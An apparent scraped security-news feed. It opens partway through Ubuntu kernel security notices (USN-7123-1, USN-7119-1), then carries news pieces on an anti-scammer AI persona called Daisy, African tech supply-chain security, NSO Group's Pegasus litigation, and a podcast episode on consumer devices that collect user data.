linux-image-5.15.0-1075-azure   5.15.0-1075.84  linux-image-azure-lts-22.04     5.15.0.1075.73After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:  https://ubuntu.com/security/notices/USN-7123-1  CVE-2022-48666, CVE-2023-52434, CVE-2023-52572, CVE-2023-52751,  CVE-2023-52757, CVE-2023-52889, CVE-2023-52918, CVE-2023-6610,  CVE-2024-25744, CVE-2024-26607, CVE-2024-26661, CVE-2024-26669,  CVE-2024-26800, CVE-2024-26893, CVE-2024-36484, CVE-2024-38577,  CVE-2024-38602, CVE-2024-38611, CVE-2024-39472, CVE-2024-40915,  CVE-2024-41011, CVE-2024-41012, CVE-2024-41015, CVE-2024-41017,  CVE-2024-41019, CVE-2024-41020, CVE-2024-41022, CVE-2024-41042,  CVE-2024-41059, CVE-2024-41060, CVE-2024-41063, CVE-2024-41064,  CVE-2024-41065, CVE-2024-41068, CVE-2024-41070, CVE-2024-41071,  CVE-2024-41072, CVE-2024-41073, CVE-2024-41077, CVE-2024-41078,  CVE-2024-41081, CVE-2024-41090, CVE-2024-41091, CVE-2024-41098,  CVE-2024-42114, CVE-2024-42126, CVE-2024-42246, CVE-2024-42259,  CVE-2024-42265, CVE-2024-42267, CVE-2024-42269, CVE-2024-42271,  CVE-2024-42272, CVE-2024-42274, CVE-2024-42276, CVE-2024-42277,  CVE-2024-42280, CVE-2024-42281, CVE-2024-42283, CVE-2024-42284,  CVE-2024-42285, CVE-2024-42286, CVE-2024-42287, CVE-2024-42288,  CVE-2024-42289, CVE-2024-42290, CVE-2024-42292, CVE-2024-42295,  CVE-2024-42296, CVE-2024-42297, CVE-2024-42299, CVE-2024-42301,  CVE-2024-42302, CVE-2024-42304, CVE-2024-42305, CVE-2024-42306,  CVE-2024-42309, CVE-2024-42310, CVE-2024-42311, CVE-2024-42312,  CVE-2024-42313, CVE-2024-42318, CVE-2024-43817, CVE-2024-43828,  CVE-2024-43829, CVE-2024-43830, CVE-2024-43834, CVE-2024-43835,  CVE-2024-43839, CVE-2024-43841, CVE-2024-43846, CVE-2024-43849,  CVE-2024-43853, CVE-2024-43854, CVE-2024-43856, CVE-2024-43858,  CVE-2024-43860, CVE-2024-43861, CVE-2024-43863, CVE-2024-43867,  CVE-2024-43869, CVE-2024-43870, CVE-2024-43871, CVE-2024-43873,  CVE-2024-43875, CVE-2024-43879, CVE-2024-43880, CVE-2024-43882,  CVE-2024-43883, CVE-2024-43884, CVE-2024-43889, CVE-2024-43890,  CVE-2024-43892, CVE-2024-43893, CVE-2024-43894, CVE-2024-43902,  CVE-2024-43905, CVE-2024-43907, CVE-2024-43908, CVE-2024-43909,  CVE-2024-43914, CVE-2024-44934, CVE-2024-44935, CVE-2024-44944,  CVE-2024-44946, CVE-2024-44947, CVE-2024-44948, CVE-2024-44954,  CVE-2024-44958, CVE-2024-44960, CVE-2024-44965, CVE-2024-44966,  CVE-2024-44969, CVE-2024-44971, CVE-2024-44974, CVE-2024-44982,  CVE-2024-44983, CVE-2024-44985, CVE-2024-44986, CVE-2024-44987,  CVE-2024-44988, CVE-2024-44989, CVE-2024-44990, CVE-2024-44995,  CVE-2024-44998, CVE-2024-44999, CVE-2024-45003, CVE-2024-45006,  CVE-2024-45007, CVE-2024-45008, CVE-2024-45009, CVE-2024-45011,  CVE-2024-45018, CVE-2024-45021, CVE-2024-45025, CVE-2024-45026,  CVE-2024-45028, CVE-2024-46673, CVE-2024-46675, CVE-2024-46676,  CVE-2024-46677, CVE-2024-46679, CVE-2024-46685, CVE-2024-46689,  CVE-2024-46702, CVE-2024-46707, CVE-2024-46713, CVE-2024-46714,  CVE-2024-46719, CVE-2024-46721, CVE-2024-46722, CVE-2024-46723,  CVE-2024-46724, CVE-2024-46725, CVE-2024-46731, CVE-2024-46732,  CVE-2024-46737, CVE-2024-46738, CVE-2024-46739, CVE-2024-46740,  CVE-2024-46743, CVE-2024-46744, CVE-2024-46745, CVE-2024-46746,  CVE-2024-46747, CVE-2024-46750, CVE-2024-46752, CVE-2024-46755,  CVE-2024-46756, CVE-2024-46757, CVE-2024-46758, CVE-2024-46759,  CVE-2024-46761, CVE-2024-46763, CVE-2024-46771, CVE-2024-46777,  CVE-2024-46780, CVE-2024-46781, CVE-2024-46782, CVE-2024-46783,  CVE-2024-46791, CVE-2024-46795, CVE-2024-46798, CVE-2024-46800,  CVE-2024-46804, CVE-2024-46805, CVE-2024-46807, CVE-2024-46810,  CVE-2024-46814, CVE-2024-46815, CVE-2024-46817, CVE-2024-46818,  CVE-2024-46819, CVE-2024-46822, CVE-2024-46828, CVE-2024-46829,  CVE-2024-46832, CVE-2024-46840, CVE-2024-46844, CVE-2024-47659,  CVE-2024-47660, CVE-2024-47663, CVE-2024-47665, CVE-2024-47667,  CVE-2024-47668, CVE-2024-47669Package Information:  https://launchpad.net/ubuntu/+source/linux-azure/5.15.0-1075.84

Ubuntu Security Notice USN-7123-1

Ubuntu Security Notice 7119-1 - Ziming Zhang discovered that the VMware Virtual GPU DRM driver in the Linux kernel contained an integer overflow vulnerability. A local attacker could use this to cause a denial of service. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-7119-1November 19, 2024linux-iot vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-iot: Linux kernel for IoT platformsDetails:Ziming Zhang discovered that the VMware Virtual GPU DRM driver in the Linuxkernel contained an integer overflow vulnerability. A local attacker coulduse this to cause a denial of service (system crash). (CVE-2022-36402)Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:  - ARM64 architecture;  - PowerPC architecture;  - User-Mode Linux (UML);  - x86 architecture;  - Block layer subsystem;  - Cryptographic API;  - Android drivers;  - Serial ATA and Parallel ATA drivers;  - ATM drivers;  - Drivers core;  - CPU frequency scaling framework;  - Device frequency scaling framework;  - GPU drivers;  - HID subsystem;  - Hardware monitoring drivers;  - InfiniBand drivers;  - Input Device core drivers;  - Input Device (Miscellaneous) drivers;  - IOMMU subsystem;  - IRQ chip drivers;  - ISDN/mISDN subsystem;  - Modular ISDN driver;  - LED subsystem;  - Multiple devices driver;  - Media drivers;  - EEPROM drivers;  - VMware VMCI Driver;  - MMC subsystem;  - Network drivers;  - Near Field Communication (NFC) drivers;  - NVME drivers;  - Device tree and open firmware driver;  - Parport drivers;  - PCI subsystem;  - Pin controllers subsystem;  - Remote Processor subsystem;  - S/390 drivers;  - SCSI drivers;  - QCOM SoC drivers;  - Direct Digital Synthesis drivers;  - TTY drivers;  - Userspace I/O drivers;  - DesignWare USB3 driver;  - USB Gadget drivers;  - USB Host Controller drivers;  - USB Serial drivers;  - USB Type-C Connector System Software Interface driver;  - USB over IP driver;  - Watchdog drivers;  - BTRFS file system;  - File systems infrastructure;  - Ext4 file system;  - F2FS file system;  - GFS2 file system;  - JFS file system;  - NILFS2 file system;  - Netfilter;  - BPF subsystem;  - Core kernel;  - DMA mapping infrastructure;  - Tracing infrastructure;  - Radix Tree data structure library;  - Kernel userspace event delivery library;  - Objagg library;  - Memory management;  - Amateur Radio drivers;  - Bluetooth subsystem;  - CAN network layer;  - Networking core;  - Ethtool driver;  - IPv4 networking;  - IPv6 networking;  - IUCV driver;  - KCM (Kernel Connection Multiplexor) sockets driver;  - MAC80211 subsystem;  - RxRPC session sockets;  - Network traffic control;  - SCTP protocol;  - Sun RPC protocol;  - TIPC protocol;  - TLS protocol;  - Wireless networking;  - AppArmor security module;  - Integrity Measurement Architecture(IMA) framework;  - Simplified Mandatory Access Control Kernel framework;  - SoC audio core drivers;  - USB sound devices;(CVE-2024-46750, CVE-2024-43853, CVE-2024-46722, CVE-2024-42311,CVE-2024-46679, CVE-2023-52918, CVE-2024-42309, CVE-2024-42160,CVE-2024-26668, CVE-2024-42271, CVE-2024-40929, CVE-2024-46747,CVE-2024-41064, CVE-2024-43839, CVE-2024-46757, CVE-2024-41059,CVE-2024-42301, CVE-2024-46737, CVE-2024-42297, CVE-2024-41015,CVE-2024-43854, CVE-2024-42289, CVE-2024-41017, CVE-2024-26787,CVE-2024-47667, CVE-2024-46675, CVE-2024-42246, CVE-2024-46723,CVE-2024-46817, CVE-2024-43841, CVE-2024-26800, CVE-2024-41098,CVE-2022-48863, CVE-2023-52531, CVE-2024-42265, CVE-2024-46828,CVE-2024-41020, CVE-2024-42305, CVE-2024-46755, CVE-2024-46744,CVE-2024-43871, CVE-2024-43884, CVE-2024-41042, CVE-2024-43914,CVE-2024-43856, CVE-2024-27397, CVE-2024-26607, CVE-2024-42228,CVE-2024-41091, CVE-2024-26677, CVE-2024-38611, CVE-2024-43867,CVE-2024-46829, CVE-2021-47188, CVE-2024-46756, CVE-2024-45025,CVE-2024-42313, CVE-2024-44947, CVE-2024-26669, CVE-2024-47668,CVE-2024-44987, CVE-2024-42295, CVE-2024-42281, CVE-2024-43880,CVE-2024-46777, CVE-2024-46780, CVE-2024-42285, CVE-2024-26891,CVE-2024-46714, CVE-2024-44999, CVE-2024-41068, CVE-2024-44944,CVE-2024-43882, CVE-2024-27051, CVE-2024-41072, CVE-2024-46783,CVE-2024-46781, CVE-2024-26885, CVE-2024-46844, CVE-2024-47669,CVE-2024-45008, CVE-2024-46758, CVE-2024-44954, CVE-2024-45021,CVE-2024-42304, CVE-2024-41081, CVE-2024-46798, CVE-2024-43890,CVE-2024-46840, CVE-2024-44960, CVE-2024-41012, CVE-2022-48791,CVE-2024-43908, CVE-2024-46721, CVE-2024-43829, CVE-2024-41073,CVE-2024-42306, CVE-2024-46745, CVE-2024-43858, CVE-2024-47663,CVE-2024-46782, CVE-2024-42244, CVE-2024-41090, CVE-2024-38602,CVE-2024-45003, CVE-2024-35848, CVE-2024-43883, CVE-2024-46677,CVE-2024-42280, CVE-2024-43846, CVE-2024-47659, CVE-2024-44965,CVE-2024-43893, CVE-2024-26960, CVE-2024-46676, CVE-2024-45016,CVE-2024-46689, CVE-2024-44998, CVE-2024-44995, CVE-2024-41022,CVE-2024-45026, CVE-2024-46739, CVE-2024-43830, CVE-2024-42286,CVE-2024-26640, CVE-2024-27012, CVE-2024-45006, CVE-2024-42276,CVE-2024-46818, CVE-2024-39494, CVE-2024-43860, CVE-2024-41070,CVE-2023-52614, CVE-2024-42283, CVE-2024-44969, CVE-2024-42229,CVE-2024-46740, CVE-2024-44948, CVE-2024-46822, CVE-2024-46738,CVE-2024-36484, CVE-2024-41065, CVE-2024-46685, CVE-2024-44935,CVE-2024-46759, CVE-2024-42292, CVE-2024-43879, CVE-2024-42287,CVE-2024-42288, CVE-2024-41063, CVE-2024-41011, CVE-2024-44946,CVE-2024-42290, CVE-2024-38570, CVE-2024-42310, CVE-2024-46743,CVE-2024-43861, CVE-2024-42131, CVE-2021-47212, CVE-2024-46719,CVE-2024-46815, CVE-2024-26641, CVE-2024-43894, CVE-2024-44988,CVE-2024-42259, CVE-2024-46771, CVE-2024-46673, CVE-2024-45028,CVE-2024-46761, CVE-2024-41071, CVE-2024-38630, CVE-2024-43835,CVE-2024-46800, CVE-2024-42284)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS  linux-image-5.4.0-1044-iot      5.4.0-1044.45After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:  https://ubuntu.com/security/notices/USN-7119-1  CVE-2021-47188, CVE-2021-47212, CVE-2022-36402, CVE-2022-48791,  CVE-2022-48863, CVE-2023-52531, CVE-2023-52614, CVE-2023-52918,  CVE-2024-26607, CVE-2024-26640, CVE-2024-26641, CVE-2024-26668,  CVE-2024-26669, CVE-2024-26677, CVE-2024-26787, CVE-2024-26800,  CVE-2024-26885, CVE-2024-26891, CVE-2024-26960, CVE-2024-27012,  CVE-2024-27051, CVE-2024-27397, CVE-2024-35848, CVE-2024-36484,  CVE-2024-38570, CVE-2024-38602, CVE-2024-38611, CVE-2024-38630,  CVE-2024-39494, CVE-2024-40929, CVE-2024-41011, CVE-2024-41012,  CVE-2024-41015, CVE-2024-41017, CVE-2024-41020, CVE-2024-41022,  CVE-2024-41042, CVE-2024-41059, CVE-2024-41063, CVE-2024-41064,  CVE-2024-41065, CVE-2024-41068, CVE-2024-41070, CVE-2024-41071,  CVE-2024-41072, CVE-2024-41073, CVE-2024-41081, CVE-2024-41090,  CVE-2024-41091, CVE-2024-41098, CVE-2024-42131, CVE-2024-42160,  CVE-2024-42228, CVE-2024-42229, CVE-2024-42244, CVE-2024-42246,  CVE-2024-42259, CVE-2024-42265, CVE-2024-42271, CVE-2024-42276,  CVE-2024-42280, CVE-2024-42281, CVE-2024-42283, CVE-2024-42284,  CVE-2024-42285, CVE-2024-42286, CVE-2024-42287, CVE-2024-42288,  CVE-2024-42289, CVE-2024-42290, CVE-2024-42292, CVE-2024-42295,  CVE-2024-42297, CVE-2024-42301, CVE-2024-42304, CVE-2024-42305,  CVE-2024-42306, CVE-2024-42309, CVE-2024-42310, CVE-2024-42311,  CVE-2024-42313, CVE-2024-43829, CVE-2024-43830, CVE-2024-43835,  CVE-2024-43839, CVE-2024-43841, CVE-2024-43846, CVE-2024-43853,  CVE-2024-43854, CVE-2024-43856, CVE-2024-43858, CVE-2024-43860,  CVE-2024-43861, CVE-2024-43867, CVE-2024-43871, CVE-2024-43879,  CVE-2024-43880, CVE-2024-43882, CVE-2024-43883, CVE-2024-43884,  CVE-2024-43890, CVE-2024-43893, CVE-2024-43894, CVE-2024-43908,  CVE-2024-43914, CVE-2024-44935, CVE-2024-44944, CVE-2024-44946,  CVE-2024-44947, CVE-2024-44948, CVE-2024-44954, CVE-2024-44960,  CVE-2024-44965, CVE-2024-44969, CVE-2024-44987, CVE-2024-44988,  CVE-2024-44995, CVE-2024-44998, CVE-2024-44999, CVE-2024-45003,  CVE-2024-45006, CVE-2024-45008, CVE-2024-45016, CVE-2024-45021,  CVE-2024-45025, CVE-2024-45026, CVE-2024-45028, CVE-2024-46673,  CVE-2024-46675, CVE-2024-46676, CVE-2024-46677, CVE-2024-46679,  CVE-2024-46685, CVE-2024-46689, CVE-2024-46714, CVE-2024-46719,  CVE-2024-46721, CVE-2024-46722, CVE-2024-46723, CVE-2024-46737,  CVE-2024-46738, CVE-2024-46739, CVE-2024-46740, CVE-2024-46743,  CVE-2024-46744, CVE-2024-46745, CVE-2024-46747, CVE-2024-46750,  CVE-2024-46755, CVE-2024-46756, CVE-2024-46757, CVE-2024-46758,  CVE-2024-46759, CVE-2024-46761, CVE-2024-46771, CVE-2024-46777,  CVE-2024-46780, CVE-2024-46781, CVE-2024-46782, CVE-2024-46783,  CVE-2024-46798, CVE-2024-46800, CVE-2024-46815, CVE-2024-46817,  CVE-2024-46818, CVE-2024-46822, CVE-2024-46828, CVE-2024-46829,  CVE-2024-46840, CVE-2024-46844, CVE-2024-47659, CVE-2024-47663,  CVE-2024-47667, CVE-2024-47668, CVE-2024-47669Package Information:  https://launchpad.net/ubuntu/+source/linux-iot/5.4.0-1044.45

Ubuntu Security Notice USN-7119-1

An Artificial Intelligence model called Daisy has been deployed to waste phone scammers' time so they can't defraud real people.

A mobile network operator has called in the help of Artificial Intelligence (AI) in the battle against phone scammers.

Virgin Media O2 in the UK has built an AI persona called Daisy with the sole purpose of keeping scammers occupied for as long as possible. Basically, until the scammers give up, because Daisy won’t.

Daisy uses several AI models that work together listening to what scammers have to say, and then responding in a lifelike manner to give the scammers the idea they are working on an “easy” target. Playing on the scammers’ biases about older people, Daisy usually acts as a chatty granny.

According to Virgin Media O2’s press release Daisy has successfully kept numerous fraudsters on calls for 40 minutes at a time. To achieve this “Granny Daisy” will tell the scammers all about her passion for knitting, her cat Fluffy, and provide exasperated callers with false personal information including made up bank details.

The idea behind Daisy is two-fold. Not only does it waste the scammers’ time—time they could have spent defrauding real people—but it also raises awareness, through posts such as this one, that the person you are talking to on the phone could be very different from what you imagine.

Raising awareness about how AI can be used to deceive people is necessary: We’ve reported about how scammers have used AI used to fake voices of loved ones in a “I’ve been in an accident” scam to warn others about the scam.

Virgin Media O2 research learned that 67% of Brits are concerned about being the target of fraud and 22% experience a fraud attempt every single week. The Federal Trade Commission (FTC) received fraud reports from 2.6 million consumers in 2023, with imposter scams the most commonly reported fraud category.

The criminals often pretend to work for your bank or a delivery company that needs a payment before they can deliver a package, with the end goal of the victim disclosing their banking details.

It’s too bad that Daisy can’t intercept the calls from the scammers. For now, the scammers will have to call one of the phone numbers that Daisy answers, which have cleverly been circulated on contact lists known to be used by scammers.

If you’d like to hear Daisy in action here is a video with some actual audio.

Daisy was set up with the help of one of YouTube’s best known scam baiters, Jim Browning. Behind the scenes there are several people that enjoy being a real life time waster, but they can only occupy so many because their time is limited.

We asked Tammy Stewart, one of Malwarebytes’ researchers, who has made it a hobby to waste the time of phishers herself, and she was enthusiastic about the idea of having a “Daisy.” In fact, she’d like to have several and she thinks they could be very effective.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 AI Granny Daisy takes up scammers’ time so they can’t bother you 

Recent backdoor implants and cyber-espionage attacks on their supply chains have African organizations looking to diversify beyond Chinese, American tech vendors.

Source: CG Alex via Shutterstock

Every night for five years, computers and network appliances from the headquarters of the African Union in Ethiopia — a facility built by Chinese firms — reportedly reached out to China-based systems and uploaded sensitive data. The espionage through the technology supply chain, which China's government denies, undermined the security of the pan-African organization.

The incident and more recent supply-chain breaches have underscored that reliance on foreign technological supply chains carries with it significant risks. While using a technology supply chain anchored in China was seen as a less constrained option than US and European options, the truth is that African nations need to evaluate the security of all their supply chains across applications, consumer devices, infrastructure, and service providers, according to a report published by the Africa Center for Strategic Studies, a research and academic center funded by the US Department of Defense.

"I don't think there's an African country that doesn't have some kind of interest in fostering a more robust technology industry and finding various ways to exert more ownership and agency over various aspects of the technology sector," says Nate Allen, associate professor at the Africa Center for Strategic Studies and the author of the report. "You are seeing increasing African interest in having more ownership and say over their technology supply chains."

Supply-chain security has become a major issue worldwide following malicious events, such as the WannaCry and NotPetya worms and the compromise of SolarWinds, as well as IT supply-chain failures, like this summer's CrowdStrike outage. The US government has voiced concerns over the extent to which US maritime ports are reliant on Chinese equipment and investment, and China has begun creating its own operating system and software ecosystem.

Similarly, African nations have become wary of information technology supplied by any number of foreign countries, including China, Russia, the US, and Europe. While African nations need the technology and investment, they are pursuing initiatives to reduce their reliance, says Mark Walker, vice president of data and analytics for the Middle East, Turkey, and Africa for IDC South Africa.

"The reality is that we live in a multidimensional, globally interconnected world, \[where\] development is reliant on significant capital investment and R&D to develop technology — often this is in limited supply across Africa," he says. "That said, many African nations are focusing on developing local software and technology skills in their populations to offset reliance on global players and also ensure that solutions are relevant to local market condition and needs. Education plays a significant role in this."

**China, US Dominate Africa's Tech Market**

Those efforts are still nascent, with the reality that the top technology suppliers in Africa come from China and the US. In mobile applications, for example, 36 of 2023's top-100 applications are from Chinese companies, while 23 are from US companies, according to a report from DataSparkle, a provider of data and analytics for emerging markets. Africa-based developers only account for only seven applications, mostly focused on digital cash and payment applications.

The US dominates the operating-system supply chain with Microsoft's Windows, Google's Android, and Apple's iOS dominating the field.

"If you're not China and you're not the United States, you just have a lot of dependencies in your technology supply chain, and there's no way around it — even to some extent, if you are China and the United States," ACSS's Allen says.

Yet, the 54 nations on the content have options. While foreign firms provide much of the technology, the African market continues to grow and the domestic technology sector continues to have the most insight into nation-by-nation needs.

"\[A\] detailed view of Africa’s technology sector reveals that it is not under the control of any one actor, and there are plenty of opportunities for Africans to assert agency," the ACSS report stated. "By further fostering diversity and competition within the tech sector, African governments can help mitigate the vulnerabilities that come from external actor influence."

**Future of Technology Supply Chains in Africa**

Companies entering the market should find ways to address the cybersecurity concerns of African customers, because if they don't, someone else will, says IDC South Africa's Walker.

"Competition is strong, and vendors are judged on their ability to supply relevant technologies and services at a fair price with solid \[local\] support structures," he says, adding that companies should understand "the local market dynamics, including economic and political realities and the local regulatory environments. Security issues faced in the Horn of Africa around Somalia are different to those faced in northern Nigeria and the Magreb, which again, differ significantly from southeast Africa."

Among incidents in Africa, Chinese hackers targeted Kenyan officials following the nation's trouble paying back loans from China, according to news reports published in 2023, while another incident involved a state-sponsored group targeting foreign-affairs ministries, embassies, and military forces in Africa in an operation dubbed Diplomatic Specter, according to a threat analysis published in May.

In addition, African officials have warned that an important technology supply chain for the continent — open-source software (OSS) — needs to be better secured to prevent malicious attacks.

"I don't think that Africans are naive, or any government around the world is naive — I think they know that, if you are being sold a technology product that is not domestically produced, then there's always going to be some kind of security risk there," says ACSS's Allen. "I think the question is, how can you mitigate that security risk?"

Companies working in the markets need to have an answer to that question, he says.

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

African Reliance on Foreign Suppliers Boosts Insecurity Concerns

Freshly released court documents reveal new details on controversial Israeli spyware firm's operations.

Source: Shubham singh 007 via Shutterstock

Israel's NSO Group may know a lot more about how customers use its Pegasus commercial spyware product than the company has let on, newly released court documents connected to a legal dispute with Meta's WhatsApp suggest.

In fact, NSO Group installed and operated the spyware on behalf of its customers, making the company directly liable for the spyware's use, WhatsApp lawyers said in one court filing, released Nov. 14 in the US District Court for the Northern District of California.

The court documents are part of a lawsuit that WhatsApp filed against NSO Group in October 2019 after discovering the Israeli firm had used WhatsApp servers to distribute Pegasus to some 1,400 mobile phones, including those belonging to journalists and rights activists.

The lawyers also claimed that NSO Group repeatedly developed and used exploits for abusing WhatsApp's servers to install Pegasus on target devices, including at least once after WhatsApp had sued the company over the issue.

**NSO 'Solely Responsible'**

"NSO is solely responsible for Pegasus’s unauthorized access to WhatsApp's servers," the social media giant noted in one briefing. "Despite what NSO has claimed, its customers had a minimal role in how the spyware tool operated or collected information. All that NSO Group customers typically had to do was enter their target's phone number, press install and wait for the malware to install on the target device without any further interaction," they noted.

Related:Trustwave-Cybereason Merger Boosts MDR Portfolio

"In other words, the customer simply places an order for a target device's data, and NSO controls every aspect of the data retrieval and delivery process through its design of Pegasus," WhatsApp's lawyers said. The company, in fact, was so aware of how customers were using its malware that it actually disconnected service to 10 customers for excessive abuse, the lawyers claimed.

**Controversial Surveillance Software**

Pegasus is a controversial mobile spyware designed to secretly monitor and extract data from iOS and Android smartphones. Once installed, Pegasus can intercept messages, emails, media, and passwords, and track location data, all while evading detection by antivirus software. NSO Group claims to sell the technology solely to authorized government agencies for legitimate law enforcement, crime-fighting, and anti-terror purposes. But critics argue that the tool has been misused, particularly in authoritarian regimes, to target journalists, human rights activists, political dissidents, and others critical of the government.  

Related:Xiphera & Crypto Quantique Announce Partnership

A 2021 database leak revealed that NSO Group customers had, at the time, targeted more than 50,000 phone numbers for surveillance in countries like Mexico, Hungary, and India. The US government formally blacklisted the company in 2021, meaning its ability to operate in the US or do business with US entities abroad is severely restricted.

The NSO Group has tried to get US courts to dismiss WhatsApp's lawsuit against the company, citing, among other things, a lack of jurisdiction and the fact that its clients are mostly governments and therefore are not doing anything illegal. WhatsApp lawyers have sought to portray NSO Group as indeed being liable for Pegasus by attempting to tie the vendor more directly to customer use of the spyware tool.

In the newly released court documents, WhatsApp has alleged that NSO Group repeatedly and deliberated worked around the mechanisms the company put in place to prevent misuse of the secure messaging platform. One of them was a modified WhatsApp client app called the WhatsApp Installation Server (WIS) that could access WhatsApp's back-end servers in ways its own client software could not. NSO Group then developed tools named Heaven and Eden to interact with WIS in such a way as to trigger Pegasus downloads on target phones via WhatsApp. The company developed Eden after WhatsApp discovered Heaven and put up blocks against it. When WhatsApp engineers discovered Eden, NSO developed and used yet another tool, called Erised, through 2020, or after WhatsApp had filed its lawsuit.

Related:North Korea's Andariel Pivots to 'Play' Ransomware Games

The WhatsApp lawsuit is one of several that NSO Group is currently battling in courts worldwide from organizations and individuals impacted by the malware. In September, Apple sought voluntary dismissal of a 2021 lawsuit it had filed against NSO Group, citing concerns over the company having to share information with the court that other spyware makers could abuse going forward.

Back when the lawsuit was filed, the NSO Group was among a handful of known purveyors of such mobile spyware software. Since then, there has been a sharp increase in the number of commercial spyware vendors, driven largely by demand from government agencies. A Google report earlier this year identified spyware vendors like NSO Group as being responsible for nearly half of all zero-day exploits it counted between mid-2014 and December 2023.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

WhatsApp: NSO Group Operates Pegasus Spyware for Customers

This week on the Lock and Code podcast, we tell three stories about air fryers, smart rings, and vacuums that want your data.

_This week on the Lock and Code podcast…_

The month, a consumer rights group out of the UK posed a question to the public that they’d likely never considered: Were their air fryers spying on them?

By analyzing the associated Android apps for three separate air fryer models from three different companies, a group of researchers learned that these kitchen devices didn’t just promise to make crispier mozzarella sticks, crunchier chicken wings, and flakier reheated pastries—they also wanted a lot of user data, from precise location to voice recordings from a user’s phone.

“In the air fryer category, as well as knowing customers’ precise location, all three products wanted permission to record audio on the user’s phone, for no specified reason,” the group wrote in its findings.

While it may be easy to discount the data collection requests of an air fryer _app_, it is getting harder to buy any type of product today that doesn’t connect to the internet, request your data, or share that data with unknown companies and contractors across the world.

Today, on the Lock and Code pocast, host David Ruiz tells three separate stories about consumer devices that somewhat invisibly collected user data and then spread it in unexpected ways. This includes kitchen utilities that sent data to China, a smart ring maker that published de-identified, aggregate data about the stress levels of its users, and a smart vacuum that recorded a sensitive image of a woman that was later shared on Facebook.

These stories aren’t about mass government surveillance, and they’re not about spying, or the targeting of political dissidents. Their intrigue is elsewhere, in how common it is for what we say, where we go, and how we feel, to be collected and analyzed in ways we never anticipated.

Tune in today to listen to the full conversation.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

Tag

#android